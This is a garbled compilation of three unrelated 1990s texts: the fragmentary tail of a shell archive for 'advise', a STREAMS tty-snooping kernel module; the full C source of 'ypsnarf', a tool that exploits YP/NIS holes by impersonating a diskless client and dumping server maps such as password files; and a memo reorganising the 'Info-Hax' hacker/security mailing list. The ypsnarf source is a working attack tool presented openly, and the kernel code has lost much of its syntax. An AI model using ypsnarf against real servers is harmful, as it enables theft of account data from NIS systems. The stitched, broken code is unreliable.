    else if (!csp->cp_private)
mp->b_datap->db_type = M_IOCACK;
iocbp->ioc_count = 0;
iocbp->ioc_rval = 0;
iocbp->ioc_error = 0;
putnext(RD(q), mp);

    return 1;

    switch (iocbp->ioc_cmd)
    int *status;
    caddr_t arg = *(caddr_t *)mp->b_cont->b_rptr;


    mp->b_cont = allocb(sizeof(int), BPRI_MED);
    if (!mp->b_cont)
mp->b_datap->db_type = M_IOCNAK;
iocbp->ioc_count = 0;
iocbp->ioc_rval = 0;
iocbp->ioc_error = ENOMEM;
putnext(RD(q), mp);
return 1;

    status = (int *)mp->b_cont->b_rptr;
    mp->b_cont->b_wptr += sizeof(int);

    *status = sp->status;

    if (mp->b_datap->db_type == M_IOCTL &&
iocbp->ioc_count == TRANSPARENT)
struct copyreq *creq = (struct copyreq *)mp->b_rptr;
mp->b_datap->db_type = M_COPYOUT;
creq->cq_addr = arg;
mp->b_wptr = mp->b_rptr + sizeof *creq;
mp->b_cont->b_wptr = mp->b_cont->b_rptr + sizeof(int);
creq->cq_size = sizeof(int);
creq->cq_flag = 0;
creq->cq_private = (mblk_t *)NULL;
putnext(RD(q), mp);
return 1;

    case ADVISE_ALLOW:
sp->status |= ALLOW_ADVICE;

mp->b_datap->db_type = M_IOCACK;
mp1 = unlinkb(mp);
if (mp1)
iocbp->ioc_count = 0;
putnext(RD(q), mp);

    case ADVISE_DENY:
sp->status &= ~(ALLOW_ADVICE);

mp->b_datap->db_type = M_IOCACK;
mp1 = unlinkb(mp);
if (mp1)
iocbp->ioc_count = 0;
putnext(RD(q), mp);

return 0;

    return 1;
fi # end of overwriting check
if test -f 'advisemod.h'
echo shar: will not over-write existing file "'advisemod.h'"
cat << \SHAR_EOF > 'advisemod.h'
/* Copyright (C) 1990 Keith Gabryelski (

This file is part of advise.

advise is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY.  No author or distributor
accepts responsibility to anyone for the consequences of using it
or for whether it serves any particular purpose or works at all,
unless he says so in writing.  Refer to the advise General Public
License for full details.

Everyone is granted permission to copy, modify and redistribute
advise, but only under the conditions described in the
advise General Public License.   A copy of this license is
supposed to have been given to you along with advise so you
can know your rights and responsibilities.  It should be in a
file named COPYING.  Among other things, the copyright notice
and this notice must be preserved on all copies.  */

** Author:Keith Gabryelski(

struct advise_queue_list
    mblk_t*savbp;/* ptr to this mblk for freeb()ing */
    queue_t*q;/* advisor's queue */
    intminord; /* minor device for this advisor */
    struct advise_state*state; /* ptr back to advise_state struct */
    struct advise_queue_list*next;  /* ptr to next advisor */

struct advise_state
    mblk_t*savbp;/* ptr to this mblk for freeb()ing */
    intstatus;/* current status */
    dev_tdev;/* our device */
    queue_t*q;/* queue for advisor writing */
    struct advise_queue_list*q_list;/* list of spies */
    struct advise_state*next;  /* next in advise_table */

#define ALLOW_ADVICE(0x01)

struct advise_message
    inttype;   /* What type of data is this? */

#define ADVISE_DATA(0x00)
#define ADVISE_READDATA(0x01)

#define ADVISE('z'<<16)

#define spladvisespltty
fi # end of overwriting check
#End of shell archive
exit 0

It is useless to resist us.
 * ypsnarf - exercise security holes in yp/nis.
 * Based on code from Dan Farmer ( and Casper Dik
 * (
 * Usage:
 *		ypsnarf server client
 *			- to obtain the yp domain name
 *		ypsnarf server domain mapname
 *			- to obtain a copy of a yp map
 *		ypsnarf server domain maplist
 *			- to obtain a list of yp maps
 * In the first case, we lie and pretend to be the host "client", and send
 * a BOOTPARAMPROC_WHOAMI request to the host "server".  Note that for this
 * to work, "server" must be running rpc.bootparamd, and "client" must be a
 * diskless client of (well, it must boot from) "server".
 * In the second case, we send a YPPROC_DOMAIN request to the host "server",
 * asking if it serves domain "domain".  If so, we send YPPROC_FIRST and
 * YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map
 * "mapname".  Note that you must specify the full yp map name, you cannot
 * use the shorthand names provided by "ypcat".
 * In the third case, the special map name "maplist" tells ypsnarf to send
 * a YPPROC_MAPLIST request to the server and get the list of maps in domain
 * "domain", instead of getting the contents of a map.  If the server has a
 * map called "maplist" you can't get it.  Oh well.
 * Since the callrpc() routine does not make any provision for timeouts, we
 * artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the
 * initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer.
 * This program uses UDP packets, which means there's a chance that things
 * will get dropped on the floor; it's not a reliable stream like TCP.  In
 * practice though, this doesn't seem to be a problem.
 * To compile:
 *		cc -o ypsnarf ypsnarf.c -lrpcsvc
 * David A. Curry
 * Purdue University
 * Engineering Computer Network
 * Electrical Engineering Building
 * West Lafayette, IN 47907
 * January, 1991
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <rpc/rpc.h>
#include <rpcsvc/bootparam.h>
#include <rpcsvc/yp_prot.h>
#include <rpc/pmap_clnt.h>
#include <sys/time.h>
#include <signal.h>
#include <string.h>
#include <netdb.h>
#include <stdio.h>

#define BOOTPARAM_MAXDOMAINLEN	32	/* from rpc.bootparamd		*/
#define YPSNARF_TIMEOUT1	15	/* timeout for initial request	*/
#define YPSNARF_TIMEOUT2	30	/* timeout during map transfer	*/

char	*pname;				/* program name			*/

main(argc, argv)
char **argv;
int argc;
	char *server, *client, *domain, *mapname;

	pname = *argv;

	 * Process arguments.  This is less than robust, but then
	 * hey, you're supposed to know what you're doing.
	switch (argc) {
	case 3:
		server = *++argv;
		client = *++argv;

		get_yp_domain(server, client);
	case 4:
		server = *++argv;
		domain = *++argv;
		mapname = *++argv;

		if (strcmp(mapname, "maplist") == 0)
			get_yp_maplist(server, domain);
			get_yp_map(server, domain, mapname);
		fprintf(stderr, "Usage: %s server client         -", pname);
		fprintf(stderr, "to obtain yp domain name\n");
		fprintf(stderr, "       %s server domain mapname -", pname);
		fprintf(stderr, "to obtain contents of yp map\n");

 * get_yp_domain - figure out the yp domain used between server and client.
get_yp_domain(server, client)
char *server, *client;
	long hostip;
	struct hostent *hp;
	bp_whoami_arg w_arg;
	bp_whoami_res w_res;
	extern void timeout();
	enum clnt_stat errcode;

	 * Just a sanity check, here.
	if ((hp = gethostbyname(server)) == NULL) {
		fprintf(stderr, "%s: %s: unknown host.\n", pname, server);

	 * Allow the client to be either an internet address or a
	 * host name.  Copy in the internet address.
	if ((hostip = inet_addr(client)) == -1) {
		if ((hp = gethostbyname(client)) == NULL) {
			fprintf(stderr, "%s: %s: unknown host.\n", pname,

		      (caddr_t) &w_arg.client_address.bp_address.ip_addr,
	else {
		bcopy((caddr_t) &hostip,
		      (caddr_t) &w_arg.client_address.bp_address.ip_addr,

	w_arg.client_address.address_type = IP_ADDR_TYPE;
	bzero((caddr_t) &w_res, sizeof(bp_whoami_res));

	 * Send a BOOTPARAMPROC_WHOAMI request to the server.  This will
	 * give us the yp domain in the response, IFF client boots from
	 * the server.
	signal(SIGALRM, timeout);

	errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS,
			  BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg,
			  xdr_bp_whoami_res, &w_res);


	if (errcode != RPC_SUCCESS)

	 * Print the domain name.
	printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name);

	 * The maximum domain name length is 255 characters, but the
	 * rpc.bootparamd program truncates anything over 32 chars.
	if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN)
		printf(" (truncated?)");

	 * Put out the client name, if they didn't know it.
	if (hostip != -1)
		printf(" (client name = %s)", w_res.client_name);


 * get_yp_map - get the yp map "mapname" from yp domain "domain" from server.
get_yp_map(server, domain, mapname)
char *server, *domain, *mapname;
	char *reqp;
	bool_t yesno;
	u_long calltype;
	bool (*xdr_proc)();
	extern void timeout();
	enum clnt_stat errcode;
	struct ypreq_key keyreq;
	struct ypreq_nokey nokeyreq;
	struct ypresp_key_val answer;

	 * This code isn't needed; the next call will give the same
	 * error message if there's no yp server there.
#ifdef not_necessary
	 * "Ping" the yp server and see if it's there.
	signal(SIGALRM, timeout);

	errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
			  xdr_void, 0);


	if (errcode != RPC_SUCCESS)

	 * Figure out whether server serves the yp domain we want.
	signal(SIGALRM, timeout);

	errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
			  xdr_wrapstring, (caddr_t) &domain, xdr_bool,
			  (caddr_t) &yesno);


	if (errcode != RPC_SUCCESS)

	 * Nope...
	if (yesno == FALSE) {
		fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
			server, domain);

	 * Now we just read entry after entry...  The first entry we
	 * get with a nokey request.
	keyreq.domain = nokeyreq.domain = domain; = = mapname;
	reqp = (caddr_t) &nokeyreq;
	keyreq.keydat.dptr = NULL;

	answer.status = TRUE;
	calltype = YPPROC_FIRST;
	xdr_proc = xdr_ypreq_nokey;

	while (answer.status == TRUE) {
		bzero((caddr_t) &answer, sizeof(struct ypresp_key_val));

		signal(SIGALRM, timeout);

		errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc,
				  reqp, xdr_ypresp_key_val, &answer);


		if (errcode != RPC_SUCCESS)

		 * Got something; print it.
		if (answer.status == TRUE) {
			printf("%.*s\n", answer.valdat.dsize,

		 * Now we're requesting the next item, so have to
		 * send back the current key.
		calltype = YPPROC_NEXT;
		reqp = (caddr_t) &keyreq;
		xdr_proc = xdr_ypreq_key;

		if (keyreq.keydat.dptr)

		keyreq.keydat = answer.keydat;

		if (answer.valdat.dptr)

 * get_yp_maplist - get the yp map list for  yp domain "domain" from server.
get_yp_maplist(server, domain)
char *server, *domain;
	bool_t yesno;
	extern void timeout();
	struct ypmaplist *mpl;
	enum clnt_stat errcode;
	struct ypresp_maplist maplist;

	 * This code isn't needed; the next call will give the same
	 * error message if there's no yp server there.
#ifdef not_necessary
	 * "Ping" the yp server and see if it's there.
	signal(SIGALRM, timeout);

	errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
			  xdr_void, 0);


	if (errcode != RPC_SUCCESS)

	 * Figure out whether server serves the yp domain we want.
	signal(SIGALRM, timeout);

	errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
			  xdr_wrapstring, (caddr_t) &domain, xdr_bool,
			  (caddr_t) &yesno);


	if (errcode != RPC_SUCCESS)

	 * Nope...
	if (yesno == FALSE) {
		fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
			server, domain);

	maplist.list = (struct ypmaplist *) NULL;

	 * Now ask for the list.
	signal(SIGALRM, timeout);

	errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST,
			  xdr_wrapstring, (caddr_t) &domain,
			  xdr_ypresp_maplist, &maplist);


	if (errcode != RPC_SUCCESS)

	if (maplist.status != YP_TRUE) {
		fprintf(stderr, "%s: cannot get map list: %s\n", pname,

	 * Print out the list.
	for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next)
		printf("%s\n", mpl->ypml_name);

 * print_rpc_err - print an rpc error and exit.
enum clnt_stat errcode;
	fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode));

 * timeout - print a timeout and exit.
void timeout()
	fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname);

*                                                         DRAFT 4.0         *
*                      Reorganisation Document #1                           *
*                                                                           *
*                             *SENSITIVE*                                   *
*                         *DO NOT DISTRIBUTE*                               *
*                                                                           *
* Late breaking news:                                                       *
*   We have 40                                                              *
* members in 7 countries (USA, Israel, Holland, France, Australia,          *
* Canada, and Switzerland). This represents a substantial boost to our      *
* tallent pool. All are very good and come with high recomemdations.        *
*  PGP 2.2 has been released                                                *
*  The author of the anon mail forwarder that was forced off the net by     *
* by NSF has promiced  us a copy as soon as he cleans it up a little.       *
* this will support PGP also. - OK we got a copy, need sites to set it up   *
* on, any volunteers out there?                                             *

  You were added to the INFOHAX-D list, this is a discussion list for
HaxNet that is open to both the hacking and security participants of
the project. This is a MODERATED list!
  One of our first projects to tackle as a group (via this list) is
reorganising the project, and it's policies. We want and value YOUR
input. You will be receiving peices of a mega-document over time that
breaks down what we are doing, what we'd like to do and includes
summaries of your input for discussion with the group as a whole.
  We've changed. We're becomming a Global network. The Infohax digest
will continue, but it will be open to security people also. We are
spawning sister digests for special interest groups. We are also forming
a hacker only digest/project, and a security only digest/project. You
can *NOT* subscribe to both. access to these digests are restricted
and handled on a person by person basis.
  Here's what it looks like:
  HaxNet: The "umbrella" organisation that coordinates and supports
various digests, provides resources, and oversees the management of
various projects. This is run by a coordinating group.
  Infohax: the flagship digest - open to sec and hack people for shared
  Infohax-d: the haxNet discussion group. Open to sec and hack people
for shared discussions. (moderated)
  infohack: hacker only digest - sensitive info only.
  infosec: security only digest - sensitive info only, like the CORE list.
  info-lans: SIG digest devoted to LANS - our first "sister" digest.

  In adition we are setting up various groups with coordinators to
handle specific aspects of the project. Some of these are:
  Coordinating grp.: oversees the project
  Support Grp.: responsable for resources (listserv, FTP, Gopher, etc)
  Research: access to info and DB's
  Analysis: massaging data
  Security: initial background checks, security leaks, encryption, etc.
  Publications: editing, tech writing, producing digests.
  Probably others, but enough for now.
  Based on your skills, resources, and interests you will be contacted by the
appropriate coordinators and added to various grps. Some grps are closed based
on your "trust" level, and hack/sec orientation. Much of your placement
depends on how you filled out the questionaire, if you havn't filled this out
please do so ASAP! Everyone who hasn't filled this out is classified as
"untrusted" and restricted to the discussion list (perhaps the infohax digest
too, but we havn't decided that yet). If you havn't sent in a PGP key we will
NOT send you any project keys this means you will be unable to decrypt infohax
when/if it is sent to you.

  This doc is being distributed to all members.
  The purpose of this doc is to determine the future direction(s) of
Project Info-Hax (aka: HaxNet), it's purpose, policies and procedures, and
how the project will function in the future.
  This project is too big for one person to run, so I try to coordinate it,
and give pieces to a variety of people that I trust, and have demonstrated
through their contributions and effort a commitment to the project.
  If you don't like a direction the project is going this is the place to
voice your opinions and make changes. Likewise if you want the project
to take on a new direction, this is the place to get it started.
 We also have had alot of resources offered. Things like FTP, Gopher, scan/
OCR, etc., enough to set up a very nice infrastructure in which to share
information, and do research. We havn't gotten these off the ground yet
(well, most of them), and need help doing so.
  I'd like all of you to provide some feedback on what's discussed
below. At this moment nothing is written in stone, and I am more than
open to changes. There are few things I'm not open to changing, among
them (things I'm not willing to change) are the ideas of this project
being a means of sharring information and a research network. I am
also *NOT* willing to have the project engage in illegal activities.
  I'm looking for some *ACTIVE* responces to this document! I'd like:
A) VOLUNTEERS - to take on pieces of the project.
B) FEEDBACK - this is your project too!, so tell me what you want it
  to be like and we'll implement it. What I'm putting in this thing
  is the vision I have of the project, some possabilities, and
  suggestions I've received from others to date. Tell me what YOU want
  it to be, and if others agree, we'll do it!

  This has been dragging for too long, so I'm going to send it out
in pieces. Some parts are finished, others not, and instead of
overloading everyone with a mega-document, we'll do it in pieces over

2)  Purpose and Projects:
     Why do we exist? what's our purpose?
     That's an open ended question, btw...
     Ok, this is my vision of it: (I'm looking for *FEEDBACK!* hint, hint...)
     buncha stuff added by others in preliminary discussions too...
  share knowledge - preserve collective knowledge.
  establish and run a research network.
  network people with simmilar interests.
  provide a framework were people can persue special interests, within
    a support network. ie: the network is provided, people with simmilar
    interests are connected (perhaps safely/anonymously), and given tools
    and information that will allow them to persue their interests, and
    "publish" the results.

Original Purpose:
  our original concept was to publish an exhaustive tutorial/encyclapedia
    on UNIX hacking/security holes, this evolved abit into becomming a
    publishing mill for hacker mags, however I now think that genneral
    distribution of our "product" isn't such a good idea - lotta
    irresponsable newbies out there... Presently I think we should remain
    a private group, with information restricted to the group (ok, some
    exceptions, but we'll deal with them as they come up)
  We also considered starting a school, this doesn't seem like such a
    hot idea due to the current legal atmosphere, but seminars, etc
    arn't out of the question.
  At pressent we are becomming a network, networking more people and
    resources - spawning sub-journals...

  Of cource we are going to continue Info-Hax, our "flagship" publication.
  We want to spawn sub journals and discussion lists, on hack/sec/crypto
  We want to develope a support network to connect people (hack/sec),
    maintain information depositories, develope a "seamless" interface
    to all known h/s/c network resources (FTP, Gopher, etc), develope
    additional network resources for project use (DB's, news captures,
    archives of mailing lists, programs, etc.), index all h/s/c journals,
    develope global contacts in the hack/sec/crp communities, for
    support of technical problems, working together and opening technical
    communications (content), developing new methods and techniques,
    finding/patching holes, developing an exhaustive test suite of
    OS vulnerabilities, develope and maintain penetration/security tools,
    find sources for and index patches for vulnerabilities, umm, other

         I'm interested in what you guys think of the above, and
              what *YOU!* would like to see us doing...

Some other things:
  I'd like to get a translation grp together to translate information from
    other languages (the cream). Also find/access mtrans progs/dicts.
  Develope groups of "tiger teams", willing to do penetration testing, and
    securing of holes as a public service. (and to give the hackers a
    legal means to persue their craft)
  Scan/OCR in interesting hardcopy papers. (the cream)
  Develope a safe and secure means for people to communicate (anon,
    encryption, anti-T/A)
  Develope a job clearing house for compusec work.
  What else can you people think of?

  Ok, it isn't going to happen overnight, but it can grow and evolve,
we have ALOT of resources offered, and people willing to do things -
you'd be surprised how far we could go if we distribute the load.

Some principles:
  stay legal and out of trouble.
  open communication of a technical nature between hackers and the
    security community. hackers and security people working together.
  network GLOBALLY.
  old school ethics, anti-destructive hackers...
  pull together information, become known and respected over time (slowly!),
    become a "power".
  try to develope a friendly liason with sec community/gvmt agencies.
  keep a sence of humor - don't take ourseves too seriously...

  OK, this is where you get to jump in, send me some feedback on what you
think our direction and purpose should be.
  What projects would you like to see us working on, or would you like to
do as part of the network?
  What do you think of what's been proposed? Anything we should persue
vigerously? Anything we shouldn't do?

  Send your feedback to us and we'll summerise:
  (try to respond within 7 days, please)

  Feedback on this doc, and HaxNet in general:
     (please put reorg-doc.01 on the Subject: line)
  Feedback on resources, sites, support ops:
     (please put support-ops on the Subject: line)
  Applications and PGP public keys:   
     (please put PGP or apl on the Subject: line)
                 ---    ---